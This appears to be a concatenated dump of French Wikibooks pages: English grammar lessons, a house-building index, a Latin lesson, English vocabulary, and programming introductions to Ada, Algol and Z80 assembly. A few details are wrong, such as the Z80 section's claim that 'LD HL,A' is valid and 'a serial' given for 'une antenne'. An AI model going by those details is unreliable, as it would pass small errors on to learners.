=== Gérondif === Il se construit à partir de la base verbale en lui rajoutant le suffixe -ing. Lorsque la base verbale est accentuée sur la dernière syllabe et qu'elle finit par une seule consonne, on double la consonne. Cela s'applique notamment aux verbes courts (une seule syllabe). Si la consonne n'était pas doublée, la voyelle précédente deviendrait longue. Par exemple, sans la consonne doublée, on aurait ''dig''-> ''diging'' = /dɪg/->/daigiŋ/, mais avec la consonne doublée, on a ''dig'' -> ''digging'' = /dɪg/->/dɪgiŋ/. Lorsqu'elle se termine par un "e" non prononcé, on enlève le "e". {| style="border: 1px solid darkgray" cellpadding=4 |+ '''Exemples''' |- | to be || → || being |- |to have || → || having |- |to dig || → || digging |- |to understand || → || understanding |- |to read || → || reading |- |to learn || → || learning |- |to eat || → || eating |- |to buy || → || buying |- |to wait || → || waiting |- |} == Emploi == De manière générale, nous pouvons utiliser l'infinitif anglais partout où l'on peut employer l'infinitif en français. Mais souvent, il serait plus judicieux d'utiliser le gérondif à la place de l'infinitif. Exemples : ''"I like to run"'' et ''"I like running"'' (traduits par "J'aime courir") sont des phrases équivalentes. En revanche, "''Running is good''" et "''To run is good''" (traduits par "Courir, c'est bien") ne sont pas équivalentes. La phrase avec le gérondif a une sonorité plus naturelle, tandis que la phrase avec l'infinitif sonne "raide" et, bien que compréhensible, on ferait mieux de ne pas l'utiliser. Le gérondif équivaut au participe présent, donc, nous pouvons utiliser le gérondif partout où il nous est possible d'employer le participe présent en français. Notez bien que l'infinitif ne peut pas être substitué au gérondif dans ce cas. k <br>Retour [[Enseignement de l'anglais]] Construire sa maison 366 43806 2006-06-03T16:01:31Z 86.211.198.235 /* Liens */ Article ayant pour but d'expliquer de A a Z la fabrication d'une maison (apportez vos connaissances) L''''[[w:autoconstruction|autoconstruction]]''' est le nom donné aux actions d'un particulier réalisant sa propre maison sans, ou pratiquement sans l'aide de professionnel du bâtiment. Elle inclut en particulier la réalisation du [[w:gros-œuvre|gros-œuvre]] (maçonnerie et charpente-couverture), mais exclut assez souvent les travaux de terrassement.<br /> Il faudrait plusieurs livres pour traiter du sujet, nous nous concentrerons sur l'essentiel.<br /> L'autoconstruction concerne également des réalisations plus modestes qu'un pavillon. Tout projet nécessitant plusieurs corps de métier et au moins une déclaration de travaux peut être conduit avec la démarche décrite dans ce livre. ---- ==Sommaire== #[[Construire sa maison - préliminaires|Préliminaires]] #[[Construire sa maison - Avant-Projet|L'avant-Projet]] #[[Construire sa maison - Étude architecturale|L'étude architecturale]] #[[Construire sa maison - Le terrassement|Le terrassement]] #[[Construire sa maison - La maçonnerie|La maçonnerie]] #[[Construire sa maison - La charpente|La charpente]] #[[Construire sa maison - La couverture|La couverture]] #[[Construire sa maison - La mise hors d'eau|La mise hors d'eau]] #[[Construire sa maison - L'isolation thermique|L'isolation thermique du bâtiment]] #[[Construire sa maison - La dalle flottante|La dalle flottante]] #[[Construire sa maison - Gaines et canalisations|Gaines et canalisations]] #[[Construire sa maison - Les cloisons|Les cloisons de doublage et de distribution]] #[[Construire sa maison - Réalisation des sols|La réalisation des sols]] #[[Construire sa maison - Les plafonds|Les plafonds]] #[[Construire sa maison - Installation sanitaire|L'installation sanitaire]] - ébauche à compléter #[[Construire sa maison - Le chauffage|Le chauffage]] #[[Construire sa maison - La ventilation|La ventilation des locaux]] #[[Construire sa maison - Installation électrique|L'installation électrique]] - ébauche à compléter #[[Construire sa maison - mobilier fixe|Agencements et mobilier fixe]] - ébauche à compléter #[[Construire sa maison - Les finitions intérieures|Les finitions intérieures]] #[[Construire sa maison - finitions et aménagements extérieurs|Les finitions et aménagements extérieurs]] - ébauche à compléter ==Index== [[Construire sa maison - finitions et aménagements extérieurs|Allées]] - [[Construire sa maison - Installation électrique|Antivol]] - [[Construire sa maison - Installation électrique|Appareillage électrique]] - [[Construire sa maison - Le terrassement|Assainissement]] - [[Construire sa maison - finitions et aménagements extérieurs|Bardage]] - [[Construire sa maison - Le terrassement|Branchements]] - [[Construire sa maison - Les cloisons|Briquetage]] - [[Construire sa maison - Réalisation des sols|Carrelage]] - [[Construire sa maison - La maçonnerie|Chaînage]] - [[Construire sa maison - La dalle flottante|Chauffage par le sol]] - [[Construire sa maison - Installation sanitaire|Chauffe-eau]] - [[Construire sa maison - Le terrassement|Chemins]] - [[Construire sa maison - Le chauffage|Cheminée]] - [[Construire sa maison - finitions et aménagements extérieurs|Clôtures]] - [[Construire sa maison - La maçonnerie|Conduits de fumée]] - [[Construire sa maison - finitions et aménagements extérieurs|Crépis]] - [[Construire sa maison - mobilier fixe|Cuisine]] - [[Construire sa maison - La maçonnerie|Dallage]] - [[Construire sa maison - Étude architecturale|Devis]] - [[Construire sa maison - Gaines et canalisations|Distribution d'eau]] - [[Construire sa maison - Le terrassement|Drainage]] - [[Construire sa maison - Les cloisons|Doublage]] - [[Construire sa maison - Installation sanitaire|ECS]] - [[Construire sa maison - Installation sanitaire|Eaux usées]] - [[Construire sa maison - Les finitions intérieures|Eclairage intérieur]] - [[Construire sa maison - finitions et aménagements extérieurs|Eclairage extérieur]] - [[Construire sa maison - Le terrassement|Egouts]] - [[Construire sa maison - finitions et aménagements extérieurs|Enduits]] - [[Construire sa maison - Gaines et canalisations|Evacuations]] - [[Construire sa maison - La maçonnerie|Escalier en béton]] - [[Construire sa maison - La charpente|Escalier en bois]] - [[Construire sa maison - Les finitions intérieures|Faïences murales]] - [[Construire sa maison - Les plafonds|Faux plafond]] - [[Construire sa maison - La mise hors d'eau|Fenêtre]] - [[Construire sa maison - La maçonnerie|Fondations]] - [[Construire sa maison - Installation sanitaire|Fosse septique]] - [[Construire sa maison - Gaines et canalisations|Gaines électriques]] - [[Construire sa maison - Gaines et canalisations|Gaz]] - [[Construire sa maison - La couverture|Gouttières]] - [[Construire sa maison - La maçonnerie|Hourdis]] - [[Construire sa maison - Étude architecturale|Implantation]] - [[Construire sa maison - L'isolation thermique|Laine de verre]] - [[Construire sa maison - La couverture|Lattes]] - [[Construire sa maison - Réalisation des sols|Liège]] - [[Construire sa maison - La maçonnerie|Linteau]] - [[Construire sa maison - Réalisation des sols|Moquette]] - [[Construire sa maison - Les finitions intérieures|Papier peint]] - [[Construire sa maison - Réalisation des sols|Parquet]] - [[Construire sa maison - Les finitions intérieures|Peinture intérieure]] - [[Construire sa maison - finitions et aménagements extérieurs|Peinture extérieure]] - [[Construire sa maison - finitions et aménagements extérieurs|Crépis]] - [[Construire sa maison - Étude architecturale|Permis de construire]] - [[Construire sa maison - Le terrassement|Piquetage]] - [[Construire sa maison - mobilier fixe|Placards]] - [[Construire sa maison - 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Il y a des complexités que vous pouvez découvrir au stade du perfectionnement. *On l'utilise lors d'une action qui a commencé, n'est pas finie, et est considérée comme temporaire. I can't come now, I'm eating. What are you doing in the bathroom? I'm reading a really good book about Italian history. (Notez que la personne ne lit pas forcément le livre en ce moment même. *Le présent progressif s'emploie aussi pour des projets personnels et fixes.<br />Exemple : I am seeing you tomorrow.<br />''Je te vois demain.'' What are you doing this weekend? I'm having lunch with Mike on Saturday. Next September, we're moving to Agen. *Exception : certains verbes ne s'emploient presque jamais au continu, même si ils concernent une action en cours.<br />I want to eat now. ''Je veux manger maintenant.'' Il s'agit dans l'ensemble de verbes dits "d'état" et pas "d'action". I think you're wrong. I love pizza. She hates Mexican food. Utilisation plus rare mais courante quand même - pour donner un ordre. You're not eating chocolate before dinner. Je t'interdis de manger le chocolat avant le déjeuner. You're not having friends round when we're not here. Tu n'as pas le droit d'inviter tes amis à la maison quand nous ne sommes pas là. == Exemples == *You are reading on your computer.<BR> ''Vous êtes en train de lire sur votre ordinateur.'' *He is working.<BR> ''Il est en train de travailler.'' *Is she sleeping ?<BR> ''Est-elle en train de dormir ?'' *What are you doing ?<BR> ''Qu'est-ce que tu fais ?'' *I am not going to school.<BR> ''Je ne vais pas à l'école.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais : Présent progressif_Test|Test]] Retour [[Enseignement de l'anglais]] Programmation Anjuta 369 18783 2005-08-07T13:07:33Z 81.53.206.22 il ne faut pas signer ses contributions Anjuta est un editeur polyvalent bien que conçut pour le développement d'applications et projets C/C++/Gnome/GTK+. Basé sur les bibliothèques GTK+/GtkScintilla il permet la coloration syntaxique d'une vingtaine de langages courant. Latin/Leçon 5 373 45920 2006-06-26T19:54:55Z Guillaumito 46 [[Latin : leçon 5]] déplacé vers [[Latin/Leçon 5]]: politique de nommage == Indicatif futur de ''sum'' == *Ero, je serai *Eris *Erit *Erimus *Eritis *Erunt == Indicatif futur antérieur == À la voix active, l'indicatif futur antérieur se forme en ajoutant au radical du parfait le futur du verbe sum, sauf à la troisième personne du pluriel : *Amavero *Amaveris *Amaverit *Amaverimus *Amaveritis *Amaverint == Syntaxes == *Le complément circonstanciel à l'ablatif : l'ablatif s'emploie souvent pour indiquer le moyen de l'action : :Pirata puganvit clava, le pirate combatit avec une massue. == Vocabulaire == === Première déclinaison === === Verbes === === Mots invariables === *Cras, demain *mox, bientôt *per (+ accusatif), par, à travers *Profecto, certainement *fortasse, peut-être {{Latin}} Sciences exactes 375 12126 2004-12-29T14:56:30Z Yann 2 ==Général== :[[Sciences générales]] (Pour études avancées) ==Sciences de la Terre== :[[Géologie]] :[[Océanographie]] ==Sciences de la vie== :[[Biochimie]] :[[Biologie]] :[[Biologie cellulaire]] :[[Botanique]] :[[Écologie]] :[[Médecine vétérinaire]] :[[Zoologie]] ==Mathématiques== :[[Mathématiques appliquées]] :[[Mathématiques discrètes]] :[[Algèbre]] :[[Analyse]] :[[Géométrie]] :[[Études Avancées]] :[[Algèbre linéaire]] :[[Probabilité]] :[[Statistique]] :[[Trigonométrie]] ==Médecine== :[[Anatomie]] :[[physiologie]] :[[Pharmacologie]] :[[Pathologie]] :[[Médecine interne]] :[[Chirurgie]] :[[(Obstetrics) et gynécologie]] :[[Psychiatrie]] :[[Pédiatrie]] ==Sciences Physiques== :[[Astronomie]] :[[Chimie]] :[[Chimie organique]] :[[Chimie physique]] :[[Physique]] == Voir aussi == * [[Wikilivres:Liste de tous les livres]] Anglais : La maison 379 28314 2006-01-06T06:28:28Z 65.92.26.6 {{Enseignement anglais}} Voici une liste de vocabulaire sur le thème de la maison. {| border="1" |'''Français''' |'''Anglais''' |- |la maison |the house/home |- |la porte |the door |- |la salle de bains |the bathroom |- |la cuisine |the kitchen |- |la chambre |the bedroom |- |le jardin |the garden |- |le garage |the garage |- |la fenêtre |the window |- |le siège |the seat |- |la chaise |the chair |- |le toit |the roof |- |le rideau |the curtain |- |le sous-sol |the basement |- |le sol |the ground |- |la table |the table |- |l'armoire |the cupboard |- |le lit |the bed |- |la salle à manger |the dining room |- |le grenier, la mansarde |the attic/the garret |- |le plafond |the ceiling |- |l'appartement |a flat, an apartment(US) |- |le propriétaire |the owner |- |le bail |the lease |- |le loyer |the rent |- |la cave |the cellar |- |le locataire |the tenant |- |le locataire |a lodger, a roomer (US) |- |un pensionnaire |a paying-guest |- |un déménagement |a removal |- |une clôture |a fence |- |une cour en contrebas |an area |- |une grille |a railing |- |un grenier |a loft |- |une antenne |a serial |- |une cloison |a partition |- |le rebord de la fenêtre |the window-sill |- |un volet |a shutter |- |un store |a blind, a shade (US) |- |une porte-fenêtre |a french window |} Programmation Algorithmique 383 35421 2006-03-02T07:38:09Z Merrheim 1032 {{Programmation Algorithmique}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Algorithmique</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Algorithmique/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Programmation Actionscript 384 29480 2006-01-20T14:17:01Z Boly38 136 rectif [[Programmation JavaScript]] L'ActionScript est le langage de programmation des animations Macromedia Flash. Bien que ce soit un langage propriétaire, il a été établi sur les bases d'une norme, l'ECMAScript dont est également issu [[Programmation JavaScript|JavaScript]] et supporte donc la [[Programmation orientée objet|programmation orientée objet]] (POO ou OOP en anglais). Ce langage en est à sa deuxième version: ActionScript 2 ou AS2. {{Programmation}} Programmation Algol 385 12133 2004-11-10T15:17:00Z Esope 99 {{Programmation}} * [[Programmation Algol Introduction|Introduction]] {{Programmation}} Programmation Algol Introduction 386 12134 2004-09-14T18:02:33Z 81.49.191.5 Le Langage Algol est un langage de programmation. Il a été créé à la fin des années 1950. Son nom est un raccourci de ALGOrithmic Language. Son objectif était de décrire algorithmiquement des problèmes de programmation. Le premier rapport décrivant le langage date de 1958 et a donc donné lieu à ALGOL 58. Il y a eu ensuite 2 autres versions, ALGOL 60 et ALGOL 68. On peut citer également ALGOL W qui est issu d'ALGOL 60, créé après 1968 en suivant les propositions de Niklaus Wirth qui était dans le groupe de travail sur ALGOL 68. Wirth s'inspirera d'ALGOL W pour créer le langage Pascal. L'ALGOL 60 sera d'ailleurs une source d'inspiration pour beaucoup de langages. A part cela et un certain succès universitaire, Algol ne sera pas beaucoup utilisé dans des programmes commerciaux. Cela est dû en particulier pour l'ALGOL 60 au manque de fonctions standards d'entrée-sortie. Défaut corrigé dans ALGOL 68. Programmation Ada 387 30039 2006-01-24T09:35:18Z Boly38 136 +interlangue it * [[Programmation Ada Introduction|Introduction]] ==Liens externes== *[http://www.ada-france.org/ Association Ada-France] *[http://lea-linux.org/dev/ada.html Léa / Introduction au langage Ada] *[news:fr.comp.lang.ada fr.comp.lang.ada] {{Programmation}} [[en:Programming:Ada]] [[es:Programación en Ada]] [[it:Linguaggio Ada]] Programmation Ada Introduction 388 45483 2006-06-23T14:30:45Z 212.123.3.11 Liste de compilateurs [[w:Ada (langage)|Ada]] est un langage de programmation qui a été normalisé en 1983 après avoir été conçu en réponse à un cahier des charges conçu par le DOD (département de la Défense) des États-Unis. En 1995, une nouvelle version de ce langage a été définie afin de renforcer la sécurité et les capacités concernant la [[Programmation orientée objet|programmation orientée objet]]. Il doit son nom à Ada Lovelace. Il est associé à la couleur verte car l'équipe qui l'a conçu était l'équipe verte. Ada est un langage à typage statique, modulaire et offrant une syntaxe claire inspirée de [[Programmation Pascal|Pascal]]. Il est souvent utilisé dans des systèmes temps-réel nécessitant un haut niveau de fiabilité. Déjà en 2002, il était possible de trouver des compilateurs Ada de très bonne qualité pour toute sorte de système d'exploitation et d'architectures, y compris un compilateur libre. En effet, GNAT a été inclus dans GCC. == Bref historique == '''1974''' – Le département de la défense américain réalise qu’il gaspille énormément d’argent en utilisant grosso modo un langage de programmation par application, et en entretenant des programmes écrit dans des langages obsolètes endémiques ou exotiques… Certaine sources avance le chiffre de 500 langages de programmation employés en ces lieux. Le résultat de cette prise de conscience ? L’élaboration en 3 ans du cahier des charges d’un unique langage, suffisamment souple et puissant pour remplacer tous les autres, du guidage de missile aux travaux sur l’intelligence artificielle. '''1977''' – Le département lance un appel d’offre remporté en 1979 par l'équipe CII-Honeywell Bull dirigée par le Français Jean Ichbiah. '''1980''' – Le 10 décembre, anniversaire de la naissance de Lady Ada Lovelace en 1815, sort la norme militaire MIL-STD-1815 qui définit le langage Ada. Tous les logiciels militaires comportant au moins 30% de code nouveau ont l'obligation de se convertir à l'Ada. '''1983''' - Ada devient une norme civile américaine ANSI. La norme militaire est rééditée sous le numéro MIL-STD-1815A. '''1987''' - Ada devient une norme internationale, ISO/IEC 8652:1983. '''1990''' – A partir des améliorations apportées par les différents éditeurs de compilateurs commerciaux, l’ANSI débute un projet de révision du langage, appelé informellement "Ada 9X". '''1992''' - Le DoD et l'université de New York signent un contrat pour produire un compilateur Ada 9X libre, sous license GPL. Le but est d'attirer des universitaires vers le langage, et de valider les changements proposés au langage. Le compilateur s'appelle GNAT pour GNU NYU Ada Translator (de nos jours, GNAT n'est plus considéré comme un acronyme). '''1994''' - L'équipe de l'université de New York qui a produit GNAT fonde la société Ada Core Technologies (aujourd'hui AdaCore), qui fournit des services professionnels autour de GNAT. Les cinq fondateurs d'AdaCore travaillent toujours pour la société. '''1995''' – La norme ISO 8652:1995 définit le langage Ada 95, une révision majeure avec en particulier la programmation orientée objet et une refonte du multitâche. '''1998''' - Fin de l'obligation d'utiliser Ada dans les nouveaux logiciels militaires. La raison: Ada a rempli sa mission, le nombre de langages utilisés dans l'ensemble du DoD étant passé de 470 à 37, soit une réduction de plus de 90%. La nouvelle doctrine du DoD est d'acheter autant que possible des logiciels du commerce, quel que soit le langage utilisé. '''2001''' - En Octobre, GNAT, toujours entretenu par AdaCore, est intégré dans GCC. Toutes les versions de GCC depuis la 3.1 contiennent GNAT. Un "Technical Corrigendum" publié par l'ISO apporte des modifications mineures et des clarifications à la norme. '''2002''' - Les travaux de normalisation reprennent pour améliorer le langage de façon plus substantielle. Le langage est appelé informellement "Ada 200Y". Comme lors du cycle précédent (1992-1995), les améliorations proposées sont graduellement intégrées dans GNAT. '''2006''' - Les travaux de normalisation prennent fin en mai, la publication de la nouvelle norme n'est plus qu'une question de temps. == Compilateurs == Des compilateurs natifs ou croisés existent pour de nombreuses plates-formes. Voici une liste alphabétique. {| class="wikitable" ! Compilateur !! Société éditrice !! Prix !! Libre !! Remarques |- | AdaMagic || SofCheck || $$$$ (?) || non || traducteur vers C |- | AppletMagic || SofCheck || $$$$ (?) || non || produit du bytecode Java |- | AdaMulti || Green Hills Software || $$$$$ || non || pour l'embarqué |- | GCC || Free Software Foundation || gratuit || bgcolor="lightgreen"|oui || mêmes sources que GNAT Pro |- | GNAT Pro || AdaCore || $$$$$ || bgcolor="lightgreen"|oui || natif et croisé |- | ICC || Irvine Compiler Corporation || $$$$$ || non || pour l'embarqué |- | Janus/Ada || RR Software || $$$ || non || natif |- | ObjectAda || Aonix || $$$; évaluation gratuite || non || natif |- | Power Ada || OC Systems || $$$$$ (?) || non || pour l'embarqué |- | Rational Apex || IBM Rational || $$$$$ || non || natif et croisé |- | SCORE || DDC-I || $$$$$ || non || pour l'embarqué |} ''(ajouter les liens, problème avec le serveur en ce moment)'' Les compilateurs les plus chers ($$$$$, plus de 10&nbsp;000 euros) sont livrés avec des noyaux d'exécution certifiés pour les applications les plus critiques (avionique, centrales nucléaires, etc.) Janus/Ada et ObjectAda coûtent moins de 1000 euros et conviennent aux applications moins exigeantes comme la bureautique, les jeux ou les applications d'entreprise. GNAT Pro et GCC sont construits à partir des mêmes sources, qui sont disponibles sous license GPL. Cependant ils ont des cycles de développement différents; GNAT Pro est en général en avance en ce qui concerne Ada, et GCC en avance en ce qui concerne les optimisations faites par le dorsal. AdaCore intègre les améliorations de GNAT Pro dans GCC de façon régulière. Programmation Assembleur 390 30339 2006-01-25T10:33:14Z 82.235.248.63 /* Introduction */ {{Modèle:Assembleur}} ==Introduction== Le langage Assembleur ou langage d'assemblage, dit assembleur tout court, est le langage de programmation le plus proche - tout en restant lisible par un être humain - du langage machine utilisé par le (micro)processeur de la machine. Le langage machine exprime les instructions des programmes par des combinaisons de bits, comme 10110000 01100001 En langage d'assemblage, ces instructions sont représentées par des '''symboles mnémoniques''' bien plus lisibles, comme mov $0x61, %al (qui signifie de mettre la valeur hexadécimale 61 (97 en décimal) dans le registre 'AL'.) Contrairement à un langage de haut-niveau, il y a une correspondance 1-1 entre le code assembleur et le langage machine, ainsi les ordinateurs peuvent traduire le code dans les 2 sens sans perdre d'information. La transformation du code assembleur dans le langage machine est accompli par un programme nommé Assembleur, dans l'autre sens par un programme Désassembleur. L'opération s'appelle respectivement, assemblage et désassemblage. Dans un programme réel en Assembleur, c'est un peu plus complexe que cela (on peut donner des noms aux routines, aux variables), et on n'a plus cette correspondance. Chaque architecture d'ordinateurs a son propre langage machine, et donc son propre langage d'assemblage (l'exemple ci-dessus est pour l'architecture x86 des PC). Ces différents langages diffèrent par le nombre et le type d'opérations qu'ils ont à supporter. Ils peuvent avoir des tailles et des nombres de registres différents, et différentes représentations de type de données en mémoire. Tandis que tous les ordinateurs sont capables de faire les mêmes choses, ils le font de manière différente. Par ailleurs, il peut exister plusieurs syntaxes pour le même jeu d'instruction, selon les conventions choisies par le fournisseur du programme d'assemblage. L'exemple ci-dessus était donné en syntaxe AT&T, en syntaxe Intel il s'écrit : MOV AL,61h La syntaxe la plus populaire est généralement celle utilisée dans la documentation du fabricant du processeur. Programmation Assembleur Z80 391 30743 2006-01-29T11:26:07Z PulkoMandy 1103 /* Introduction */ {{Modèle:Assembleur}} ==Introduction== L'assembleur, pour le Z80 comme tous les processeurs, est le langage de plus bas niveau de programmation et donc le plus rapide.<BR> Rappelons que ce processeur est fabriqué par Zilog, est cadencé à 8 MHz en utilisation normale et est un processeur 16 bits interne et 8 bits externe. Il a été commercialisé dès 1976, mais on le trouve encore aujourd'hui dans les calculatrices TI-84 et TI-84+. Le Z80 est compatible avec le 8080 de Intel, et on trouve aujourd'hui un processeur compatible, le Z180, avec quelques instructions supplémentaires. ==Les registres== Le Z80 contient 14 registres dont certains de 8 bits peuvent être associés par deux pour former un registre de 16 bits. D'autres sont toujours des registres 16 bits (IX):<BR> A, F, B, C, D, E, H, L, IX, IY, SP, PC, I et R.<BR> Les lettres simples sont des registres 8 bits et les lettres doubles 16 bits.<BR> On peut faire aussi ces associations et seulement celles-ci:<BR> AF, BC, DE, et HL.<BR> Le registre A est l'accumulateur, BC et DE sont utilisés comme "tampons" pour les données temporaires, HL est surtout utilisé pour transférer des données dans la mémoire RAM (Random Access Memory).<BR> F est le registre contenant les "Flags" (drapeaux en anglais): il contient entre autres les résultats des opérations.<BR> IX et IY sont les index.<BR> SP (stack pointer) est l'adresse du haut de la pile de donnée et d'appels dans la RAM.<BR> PC (program counter) est l'adresse de l'instruction en cours d'exécution. R est le registre refresh.<BR> I est utilisé pour les interruptions dans certains modes<BR> En règles générales on utilise surtout A,BC,DE,HL en programmation car très peu d'opérations sont possibles sur les autres registres.<BR> ===Stocker des valeurs dans les registres=== Pour stocker des valeurs dans les registres, rien de plus simple:<BR> Il faut utiliser l'instruction LD (contraction de LOAD).<BR> Si on veut stocker , par exemple, la valeur 17 dans la registre A:<BR> LD A, 17 ;17 est ici noté en décimal<BR> Mais on peut aussi le noter en hexadécimal:<BR> LD A, $11 ;17 est ici noté en hexadécimal<BR> Cela donne au registre A la valeur 17.<BR> Attention, ce registre est un registre 8 bits qui limite la valeur à 255 en décimal, soit $FF en hexadécimal. Les nombres décimaux et négatifs ne peuvent pas non plus être traités de cette façon.<BR> Nous pouvons faire la même chose avec un autre registre et une autre valeur:<BR> LD B, 32<BR> LD C, $18<BR> LD H, %01001010 ;ici le nombre est noté en binaire: 01001010b = 74d<BR> On peut faire de même avec un registre pair:<BR> LD BC, 14238 ;ici les valeurs sont en 16 bits<BR> LD HL, $80DF<BR> Attention les nombres sont ici limités à 65535d. Une autre façon d'utiliser LD est de charger une donnée d'un registre vers un autre:<BR> LD B, A<BR> Cela met la valeur du registre A dans le registre B. Comme vous pouvez le voir, dans n'importe quelle utilisation de LD, la donnée est déplacée de la droite vers la gauche. On peut charger un simple registre dans un autre registre.<BR> Attention: on peut charger un registre 8 bits dans un de 16 bits, mais pas l'inverse! Par exemple:<BR> LD HL,A<BR> /!\ LD A,HL est interdit!<BR> Des utilisations plus compliquées de LD (mais très utiles) impliquent de déplacer des données entre la mémoire (RAM) et les registres. Comme vous le savez, on accède à la mémoire par des adresses. L’instruction LD est utilisée pour charger une donnée entre un registre et une zone mémoire spécifiée par une adresse. Cette adresse peut être une valeur brute:<BR> LD HL, ($80DF)<BR> Ceci charge la valeur enregistrée dans la zone mémoire d’adresse $80DF et la stocke dans le registre HL. Les parenthèses autour du nombre indique que le nombre est utilisé comme une adresse, et non comme une valeur.<BR> Dans l’exemple précédent, nous avons chargé un certain registre à partir d’une adresse spécifique de la mémoire, et avons utilisé le registre HL. Cela signifie que nous ne pouvons pas charger n’importe quel autre registre directement de la mémoire. Pour charger un autre registre, nous chargeons la mémoire dans HL puis l’autre registre avec HL:<BR> LD HL, ($80DF)<BR> LD BC, HL n'existe pas, il faut utiliser:<BR> LD B,H<BR> LD C,L<BR> === Opérations logiques et mathématiques === Il est possible de modifier la valeur d'un registre avec des opérations. La plupart de ces opérations, cependant, affectent seulement le registre A. Les instructions a utiliser sont ADC, ADD, AND, DEC, INC, NEG, OR, RL, RR, SBC, SUB, et XOR. Les instructions AND, OR, et XOR ne peuvent être appliquées qu'au registre A. leur syntaxe est: AND valeur OR valeur XOR valeur où valeur peut être un registre où une valeur directe (comme 23). Ce sont des opérateurs logiques binaires, AND réalise un ET logique de la valeur donnée avec le registre A dans lequel il va stocker le résultat. OR effectue de la même façon un OU logique inclusif. et XOR un OU exclusif. Par exemple: LD A,32 OR 16 va donner à A la valeur 48, car si on écrit l'opération en binaire: 00100000 =32 00010000 =16 -------- OU 00110000 =48 == Les flags == Les flags sont stockés dans le registre F. Ils sont modifiés par la plupart des instructions et permettent de réaliser principalement des sauts conditionnels. Si la dernière opération effectuée a donné un résultat nul, alors le flag Z sera actif. Dans le cas contraire, le flag NZ sera actif. S'il y a eu un débordement (le résultat d'une opération est un nombre négatif, ou plus grand que la valeur maxmale que le registre peut contenir), alors le flag C sera actif, et NC est le flag contraire, activé donc s'il n'y a pas eu de débordement. === Tableau récapitulatif de l'effet des instructions assembleur Z80 sur les flags === <table border=1> <tr><td>Instruction</td><td>S</TD><td>Z</td><td>PV</td><td>C</td><td>Instruction</td><td>S</TD><td>Z</td><td>PV</td><td>C</td></tr> <tr><td>ADC reg,reg</td><td>?</td><td>?</td><td>?</td><td>?</td> <td>LDD </td><td>.</td><td>.</td><td>?</td><td>.</td></tr> <tr><td>ADD A,reg </td><td>?</td><td>?</td><td>?</td><td>?</td> <td>LDDR </td><td>.</td><td>.</td><td>0</td><td>.</td></tr> <tr><td>ADD autre </td><td>.</td><td>.</td><td>.</td><td>?</td> <td>LDI </td><td>.</td><td>.</td><td>?</td><td>.</td></tr> <tr><td>AND reg </td><td>?</td><td>?</td><td>?</td><td>0</td> <td>LDIR </td><td>.</td><td>.</td><td>0</td><td>.</td></tr> <tr><td>BIT reg,reg</td><td>?</td><td>?</td><td>?</td><td>.</td> <td>NEG </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>CALL </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>NOP </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>CCF </td><td>.</td><td>.</td><td>.</td><td>?</td> <td>OR </td><td>?</td><td>?</td><td>?</td><td>0</td></tr> <tr><td>CP reg </td><td>?</td><td>?</td><td>?</td><td>?</td> <td>OTDR </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>CPD </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>OTIR </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>CPDR </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>OUT reg,reg</td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>CPI </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>OUTD </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>CPIR </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>OUTI </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>CPL </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>POP reg </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>DAA </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>PUSH reg </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>DEC reg16 </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RES reg,reg</td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>DEC autre </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>RET </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>DI </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RL </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>DJNZ </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RLA </td><td>.</td><td>.</td><td>.</td><td>?</td></tr> <tr><td>EI </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RLC reg </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>EX reg,reg </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RLCA </td><td>.</td><td>.</td><td>.</td><td>?</td></tr> <tr><td>EXX </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RLD </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>HALT </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RR reg </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>IM reg </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RRA </td><td>.</td><td>.</td><td>.</td><td>?</td></tr> <tr><td>IN reg,reg </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>RRC reg </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>INC reg16 </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>RRCA </td><td>.</td><td>.</td><td>.</td><td>?</td></tr> <tr><td>INC autre </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>RRD </td><td>?</td><td>?</td><td>?</td><td>.</td></tr> <tr><td>IND </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>RST reg </td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>INDR </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>SBC 